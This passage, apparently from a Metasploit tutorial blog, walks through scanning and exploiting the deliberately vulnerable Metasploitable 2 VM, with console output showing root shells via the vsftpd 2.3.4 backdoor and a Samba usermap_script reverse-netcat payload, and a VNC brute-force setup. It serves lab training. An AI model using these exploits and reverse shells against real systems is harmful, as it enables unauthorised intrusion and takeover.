   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   LHOST  192.168.74.128   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>The option for the payload shows that the selected payload is now changed to our desired one (<code>cmd/unix/reverse_ssh</code>). You can set the payload options with the <code>set</code> command as well: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; set LPORT 5000
LPORT =&gt; 5000</code></pre>



<p>Here, we’ve set the local port for listening to <code>5000</code> from the default <code>4444</code>. Let’s see our changes in the options.  </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/unix/webapp/citrix_access_gateway_exec):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   Proxies                   no        A proxy chain of format type:host:port&#091;,type:host:port]&#091;...]
   RHOSTS   192.168.43.111   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT    443              yes       The target port (TCP)
   SSL      true             yes       Use SSL
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_ssh):

   Name   Current Setting  Required  Description
   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   LHOST  192.168.74.128   yes       The listen address (an interface may be specified)
   LPORT  5000             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>Now that you’ve set up the exploit and the payload – you can start the fun. Let’s move on to the exploit commands. </p>



<h2 id="check-if-the-exploit-will-work-or-not" class="wp-block-heading"><a id="post-3536-_heading=h.49x2ik5"></a>Check if the exploit will work or not</h2>



<p>Before going forward with the exploit, you might wonder if it is actually going to work or not. Let’s try to find out. We’ll have to use the “check” command to see the target host is vulnerable to the exploit we’ve set up – </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/webapp/citrix_access_gateway_exec</span>) &gt; check</code></pre>



<pre class="wp-block-code"><code>&#091;*] Attempting to detect if the Citrix Access Gateway is vulnerable...
&#091;*] 192.168.43.111:443 - <span style="color: #FF521B;" class="stk-highlight">The target is not exploitable</span>.</code></pre>



<p>As you can see, the target we’re attacking is not vulnerable to this exploit. So there’s no point in continuing this line of attacking. In reality, you’ll mostly know if the machine has the vulnerability to the exploit you’re running beforehand. This is just an example to illustrate what is possible. </p>



<p>We’ll show you an example of an exploitable machine in the next section. Keep on reading! </p>



<h1 id="a-penetration-test-walkthrough" class="wp-block-heading"><a id="post-3536-_heading=h.2p2csry"></a>A penetration test walkthrough</h1>



<p>In this section, I’ll demonstrate how penetration testing is done. I will be using the intentionally vulnerable Linux machine – <strong>Metasploitable 2</strong>. This machine is created to have its port open and running vulnerable applications. You can get Metasploitable on <strong>rapid7</strong>’s website. </p>



<p>Go to <a href="https://information.rapid7.com/download-metasploitable-2017.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">this link<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and fill up the form to download. After downloading Metasploitable, you can set it up in a VirtualBox or a VMware or any software virtualization apps. If you’re using VMware workstation player, you can just load it up by double clicking the Metasploitable configuration file from the downloaded files. </p>



<p>Before we begin, a word of caution – Always remember that infiltrating any system without permission would be illegal. It’s better to create your own systems and practice hacking into them rather than learning to do it in real systems that might be illegal. </p>



<h2 id="target-identification-and-host-discovery" class="wp-block-heading"><a id="post-3536-_heading=h.147n2zr"></a>Target identification and Host discovery</h2>



<p>Now we’ll be performing the first step in any penetration testing – gathering information about the target host. I’ve created the Metasploitable system inside my local area network. So, I already know the IP address of the target machine. You might want to find out IP address of the target host in your case. You can use DNS enumeration for that case. DNS enumeration is the way to find out the DNS records for a host. You can use <code>nslookup</code>, <code>dig</code>, or <code>host</code> command to perform DNS enumeration and get the IP address associated with a domain. If you have access to the machine, you can just find out the IP address of the machine. For checking if the host is up, you can just use the <code>ping</code> command or use <code>nmap</code> for host discovery. </p>



<p>In my case, I ran <code>ifconfig</code> command on my Metasploitable machine, and got the IP address to be <code>192.168.74.129</code>. Let’s see if our attack machine can ping the victim machine: </p>



<pre class="wp-block-code prompt"><code>nmap -sn 192.168.74.129</code></pre>



<pre class="wp-block-code"><code>Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-07 03:43 EDT
Nmap scan report for 192.168.74.129
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Host is up</span> (0.00070s latency).
MAC Address: 00:0C:29:C9:1A:44 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds
</code></pre>



<p>It’s clear that our attack machine can reach the victim machine. Let’s move on to the next step. </p>



<h2 id="port-scanning-service-detection" class="wp-block-heading"><a id="post-3536-_heading=h.3o7alnk"></a>Port scanning &amp; Service detection</h2>



<p>This is the next step in the information gathering phase. Now we’ll find out what ports are open and which services are running in our victim machine. We’ll use <code>nmap</code> to run the service discovery: </p>



<pre class="wp-block-code prompt"><code>nmap -sV 192.168.74.129</code></pre>



<pre class="wp-block-code"><code>Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-07 03:47 EDT
Nmap scan report for 192.168.74.129
Host is up (0.0013s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:C9:1A:44 (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.37 seconds
</code></pre>



<p>As we can see, it’s party time for any penetration tester or hacker. There are too many ports open. The more open ports – the better the chance for one of the applications to be vulnerable. If you don’t know what we’re talking about, don’t worry. We’ve covered the scanning technique from the basics in a <code>nmap</code> tutorial that you can find <a href="https://bytexd.com/how-to-use-nmap/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">here<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. </p>



<h2 id="vulnerability-analysis" class="wp-block-heading"><a id="post-3536-_heading=h.23ckvvd"></a>Vulnerability Analysis</h2>



<p>Now that we’ve performed the service detection step, we know what versions of applications our victim is running. We just have to find out which one of them might be vulnerable. You can find out vulnerabilities just by googling about them, or you can also search them in your Metasploit database. Let’s do the latter, and search in Metasploit. Fire up your Metasploit console with the <code>msfconsole</code> command. </p>



<p>Let’s find out if the first application in the list, <code>vsftpd 2.3.4</code> (which is an <strong>ftp</strong> service running on port <strong>21</strong>)  that we found in our service detection phase, has any exploits associated with it. Search for <code>vsftpd</code> in your Metasploit console:</p>



<pre class="wp-block-code promptmsf6"><code>search vsftpd</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
</code></pre>



<p>Whoa! The first one is already a hit. As you can see, the exploit rank is excellent and you can execute backdoor commands with this exploit. However, you must remember that this is metasploitable you’re attacking. In real systems, you will not find a lot of backdated applications with vulnerabilities. Let’s move on and check if the other applications are vulnerable or not. Try to see if the <code>openssh</code> has any vulnerabilities: </p>



<pre class="wp-block-code promptmsf6"><code>search openssh</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                         ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  post/windows/manage/forward_pageant                           normal     No     Forward SSH Agent Requests To Remote Pageant
   1  post/windows/manage/install_ssh                               normal     No     Install OpenSSH for Windows
   2  post/multi/gather/ssh_creds                                   normal     No     Multi Gather OpenSSH PKI Credentials Collection
   3  auxiliary/scanner/ssh/ssh_enumusers                           normal     No     SSH Username Enumeration
   4  exploit/windows/local/unquoted_service_path  2001-10-25       excellent  Yes    Windows Unquoted Service Path Privilege Escalation


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/local/unquoted_service_path
</code></pre>



<p>However, this result is not so much promising. Still, we probably can brute force the system to get the login credentials. Let’s find out some more vulnerabilities before we start exploiting them. The ftp application <code>ProFTPD 1.3.1</code> looks promising. Let’s search if anything is in the Metasploit database: </p>



<pre class="wp-block-code promptmsf6"><code>search proftpd</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                         ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  exploit/linux/misc/netsupport_manager_agent  2011-01-08       average    No     NetSupport Manager Agent Remote Buffer Overflow
   1  exploit/linux/ftp/proftp_sreplace            2006-11-26       great      Yes    ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
   2  exploit/freebsd/ftp/proftp_telnet_iac        2010-11-01       great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
   3  exploit/linux/ftp/proftp_telnet_iac          2010-11-01       great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
   4  exploit/unix/ftp/proftpd_modcopy_exec        2015-04-22       excellent  Yes    ProFTPD 1.3.5 Mod_Copy Command Execution
   5  exploit/unix/ftp/proftpd_133c_backdoor       2010-12-02       excellent  No     ProFTPD-1.3.3c Backdoor Command Execution


Interact with a module by name or index. For example info 5, use 5 or use exploit/unix/ftp/proftpd_133c_backdoor
</code></pre>



<p>Seems like there is no specific mention of version <strong>1.3.1</strong> for the <strong>ProFTPD</strong> application. However, the other versions might still work. We’ll find that out very soon. </p>



<p>You can research each of the open port applications and find out what vulnerabilities might be associated with them. You can definitely use google and other exploit databases as well instead of only Metasploit. </p>



<h2 id="exploiting-vulnerabilities" class="wp-block-heading"><a id="post-3536-_heading=h.ihv636"></a>Exploiting Vulnerabilities</h2>



<p>This is the most anticipated step of the penetration test. In this step, we’ll exploit the victim machine in all its glory. Let’s begin with the most straightforward vulnerability to exploit that we found in the previous step. It is the <code>VSFTPD 2.3.4</code> backdoor command execution exploit. </p>



<h3 id="exploiting-the-vsftpd-vulnerability" class="wp-block-heading"><a id="post-3536-_heading=h.32hioqz"></a>Exploiting the VSFTPD vulnerability</h3>



<p>Let’s use the exploit (<code>exploit/unix/ftp/vsftpd_234_backdoor</code>): </p>



<pre class="wp-block-code promptmsf6"><code>use exploit/unix/ftp/vsftpd_234_backdoor</code></pre>



<pre class="wp-block-code"><code>&#091;*] No payload configured, defaulting to cmd/unix/interact</code></pre>



<p>After entering this command, you’ll see your command line will look like this: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; </code></pre>



<p>This means you are using this exploit now. Let’s see the options for the exploit: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ‐‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>Let’s set up the RHOSTS as the target machine’s IP address (192.168.74.129 in my case): </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; set RHOSTS 192.168.74.129
RHOSTS =&gt; 192.168.74.129 </code></pre>



<p>See the options again: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ‐‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS  192.168.74.129</span>   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT   21               yes       The target port (TCP)


<span style="color: #3F84E5;" class="stk-highlight">Payload options (cmd/unix/interact):</span>

   Name  Current Setting  Required  Description
   ‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>Now you have to specify a payload as well. Let’s see what are our options: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; show payloads</code></pre>



<pre class="wp-block-code"><code>Compatible Payloads
===================

   #  Name                       Disclosure Date  Rank    Check  Description
   -  ‐‐‐‐                       ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  payload/cmd/unix/interact                   normal  No     Unix Command, Interact with Established Connection

Not much of an option right? And this one is already set up in the options. You can check it yourself. There are no required values for this payload as well. Let’s check if this exploit will work or not –
msf6 exploit(unix/ftp/vsftpd_234_backdoor) &gt; check
 &#091;-] Check failed: NoMethodError This module does not support check.

So, this exploit doesn’t support checking. Let’s move forward. This is the moment of truth. Let’s exploit the machine –
msf6 exploit(unix/ftp/vsftpd_234_backdoor) &gt; exploit

&#091;*] 192.168.74.129:21 - Banner: 220 (vsFTPd 2.3.4)
&#091;*] 192.168.74.129:21 - USER: 331 Please specify the password.
&#091;+] 192.168.74.129:21 - Backdoor service has been spawned, handling...
&#091;+] 192.168.74.129:21 - UID: uid=0(root) gid=0(root)
&#091;*] Found shell.
&#091;*] Command shell session 2 opened (0.0.0.0:0 -&gt; 192.168.74.129:6200) at 2022-02-07 05:14:38 -0400


<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">whoami
root</span></code></pre>



<p>Voila! We’ve successfully exploited the machine. We got the shell access. I ran the <code>whoami</code> command and got the reply as <code>root</code>. So, we have full access to the Metasploitable machine. We can do whatever the root can – everything! </p>



<p>Now before we show what to do after exploitation, let’s see some other methods of exploitation as well.  </p>



<h3 id="keeping-the-sessions-in-the-background" class="wp-block-heading"><a id="post-3536-_heading=h.1hmsyys"></a>Keeping the sessions in the background</h3>



<p>First, let’s keep the session we got in the background: </p>



<p>Type in <code>background</code> within the terminal, then type <code>y</code> and hit enter: </p>



<pre class="wp-block-code"><code>whoami
root
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">background</span>

Background session 2? &#091;y/N]   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">y</span>
msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; </code></pre>



<p>You can access this session anytime using the <code>sessions</code> command: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; sessions</code></pre>



<pre class="wp-block-code"><code>Active sessions
===============

  <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Id</span>  Name  Type            Information  Connection
  ‐‐  ‐‐‐‐  ‐‐‐‐            ‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐
  <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">2</span>         shell cmd/unix               0.0.0.0:0 -&gt; 192.168.74.129:6200 (192.168.74.129)</code></pre>



<p>
  You can get back to the session by using the “-i” flag and specifying the ID. Do the following –
</p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; sessions -i 2
&#091;*] Starting interaction with 2...

<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">whoami
root</span>
</code></pre>



<h3 id="exploiting-samba-smb" class="wp-block-heading"><a id="post-3536-_heading=h.41mghml"></a>Exploiting samba smb</h3>



<p>Did you notice that the <code>netbios-ssn</code> service was running on Samba in our victim machine’s port <code>139</code> and <code>445</code>? There might be an exploit that we could use. But before that, there was no particular version written for the samba application. However, we have an auxiliary module in Metasploit that can find out the version for us. Let’s see this in action: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; search smb_version</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                               Disclosure Date  Rank    Check  Description
   ‐  ‐‐‐‐                               ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  auxiliary/scanner/smb/smb_version                   normal  No     SMB Version Detection


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version
</code></pre>



<p>   Now choose the smb scanner: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; use 0
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; </code></pre>



<p>Now let’s see the options we have to set up: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>msf6 auxiliary(scanner/smb/smb_version) &gt; show options

Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS</span>                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">THREADS</span>  1                yes       The number of concurrent threads (max one per host)</code></pre>



<p>We can set up the <code>RHOSTS</code> and <code>THREADS</code> here. The <code>RHOSTS</code> will be our target and the <code>THREADS</code> determine how fast will the program run. Let’s set them up: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; set RHOSTS 192.168.74.129
RHOSTS =&gt; 192.168.74.129
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; set THREADS 16
THREADS =&gt; 16
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS   192.168.74.129</span>   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">THREADS  16</span>               yes       The number of concurrent threads (max one per host)</code></pre>



<p>Now run it: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; run</code></pre>



<pre class="wp-block-code"><code>&#091;*] 192.168.74.129:445    - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
&#091;*] 192.168.74.129:445    -   Host could not be identified: Unix (<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Samba 3.0.20-Debian</span>)
&#091;*] 192.168.74.129:       - Scanned 1 of 1 hosts (100% complete)
&#091;*] Auxiliary module execution completed
</code></pre>



<p>The output gives us the version of the <strong>Samba – 3.0.20</strong>. Now we can find out the vulnerabilities associated with it. Let’s try google. A simple google search reveals this version is vulnerable to <code>username map script</code> command execution. </p>



<figure class="wp-block-image"><img decoding="async" width="1903" height="873" src="https://nooblinux.com/wp-content/uploads/2022/02/word-image.png" alt="" class="wp-image-3538" srcset="https://nooblinux.com/wp-content/uploads/2022/02/word-image.png 1903w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-300x138.png 300w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1024x470.png 1024w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-768x352.png 768w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1536x705.png 1536w" sizes="(max-width: 1903px) 100vw, 1903px" /></figure>



<p>This is also available in Metasploit. Let’s perform a search: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; search username map script</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  auxiliary/scanner/oracle/oracle_login                   normal     No     Oracle RDBMS Login Utility
   <span style="color: #3F84E5;" class="stk-highlight">1</span>  <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">exploit/multi/samba/usermap_script</span>     2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/multi/samba/usermap_script
</code></pre>



<p>As you can see, there is an exploit for this vulnerability with an excellent rank. Let’s use this one and try to gain access to the metasploitable machine: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; use 1
&#091;*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">multi/samba/usermap_script</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ‐‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS</span>                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   LHOST  192.168.74.128   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>We can see that the Payload options are already set up. I will not change it. You can change the LHOST to your attack machine’s IP address. We only need to set up the RHOSTS option: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">multi/samba/usermap_script</span>) &gt; set RHOSTS 192.168.74.129
RHOSTS =&gt; 192.168.74.129</code></pre>



<p>   Now let’s exploit: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">multi/samba/usermap_script</span>) &gt; exploit

&#091;*] <span style="color: #3F84E5;" class="stk-highlight">Started reverse TCP handler on 192.168.74.128:4444</span> 
&#091;*] <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Command shell session 3 opened</span> (192.168.74.128:4444 -&gt; 192.168.74.129:45078) at 2021-06-29 06:48:33 -0400

<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">whoami
root</span>
</code></pre>



<p>As you can see the exploit sets up a reverse TCP handler to accept the incoming connection from the Victim machine. Then the exploit completes and opens a session. We can also see that the access level is root. Now let’s move on to another exploit keeping this session in the background. </p>



<h3 id="exploiting-vnc" class="wp-block-heading"><a id="post-3536-_heading=h.2grqrue"></a>Exploiting VNC</h3>



<p>Now let’s try to exploit the VNC service running on our victim machine. If you search in Metasploit database, you will find no matching exploit for this one. This means you have to think of some other ways to get into this service. Let’s try to brute force the VNC login. We’ll be using the auxiliary scanner for <code>vnc login</code>: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">multi/samba/usermap_script</span>) &gt; search scanner vnc</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ‐‐‐‐                                      ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  auxiliary/scanner/vnc/ard_root_pw                          normal  No     Apple Remote Desktop Root Vulnerability
   1  auxiliary/scanner/http/thinvnc_traversal  2019-10-16       normal  No     ThinVNC Directory Traversal
   2  auxiliary/scanner/vnc/vnc_none_auth                        normal  No     VNC Authentication None Detection
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">3  auxiliary/scanner/vnc/vnc_login</span>                            normal  No     VNC <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Authentication Scanner</span>


Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/vnc/vnc_login
</code></pre>



<p>We’ll be needing the <strong>VNC Authentication Scanner (3)</strong>. Let’s select it: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">multi/samba/usermap_script</span>) &gt; use 3
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; </code></pre>



<p>We do not know what this auxiliary module does yet. Let’s find out. Remember the <code>info</code> command? </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; info</code></pre>



<pre class="wp-block-code"><code>       Name: VNC Authentication Scanner
     Module: auxiliary/scanner/vnc/vnc_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  carstein &lt;carstein.sec@gmail.com&gt;
  jduck &lt;jduck@metasploit.com&gt;

Check supported:
  No

<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Basic options:
  Name              Current Setting                                                   Required  Description
  ‐‐‐‐              ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐                                                   ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
  BLANK_PASSWORDS   false                                                             no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                                                                 yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false                                                             no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false                                                             no        Add all passwords in the current database to the list
  DB_ALL_USERS      false                                                             no        Add all users in the current database to the list
  PASSWORD                                                                            no        The password to test
